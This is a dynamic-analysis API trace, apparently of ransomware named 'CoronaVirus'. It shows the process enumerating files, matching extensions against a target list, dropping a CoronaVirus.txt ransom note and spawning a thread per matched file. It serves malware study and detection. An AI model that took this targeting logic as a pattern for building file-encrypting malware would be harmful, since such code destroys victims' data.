	[0081.363] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.363] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.369] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.369] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.370] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.370] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.371] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.371] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.371] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.371] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0081.371] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1
	[0081.371] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.371] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.371] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1041") returned 26
	[0081.371] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.371] wcsstr (_Str="C:\\588bce7c90097ed212\\1041", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.371] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.375] _alloca_probe () returned 0x4036d0
	[0081.375] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1041", lpFilePart=0x316583c*="1041") returned 0x1a
	[0081.375] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9dcad0a, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0081.375] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.376] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9dcad0a, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.376] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.376] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9dcad0a, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe9dcad0a, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.376] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.376] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.376] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.376] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.376] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.376] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.376] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.376] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.376] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.376] malloc (_Size=0x1000) returned 0x2f1d2d0
	[0081.376] _swprintf (in: param_1=0x2f1d2d0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\CoronaVirus.txt") returned 42
	[0081.376] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.376] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.376] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.376] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.376] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.376] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.376] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.376] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.376] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.376] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.376] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.377] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.377] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.378] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.378] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.379] malloc (_Size=0x1000) returned 0x2f1e2d8
	[0081.379] _swprintf (in: param_1=0x2f1e2d8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0081.379] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.379] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.379] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1e2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0081.380] SetThreadPriority (hThread=0x470, nPriority=15) returned 1
	[0081.381] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.381] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.381] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.381] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.381] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.381] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.381] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.385] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.385] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.385] malloc (_Size=0x1000) returned 0x2f1f2e0
	[0081.385] _swprintf (in: param_1=0x2f1f2e0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0081.385] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.385] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.386] wcsstr (_Str="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f1f2e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0081.386] SetThreadPriority (hThread=0x478, nPriority=15) returned 1
	[0081.388] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.388] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.388] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.388] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.388] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.388] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.388] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.388] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.388] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.388] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.400] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.400] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.402] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.402] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.402] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.403] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.403] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.404] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.404] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.404] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.404] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.404] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.404] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
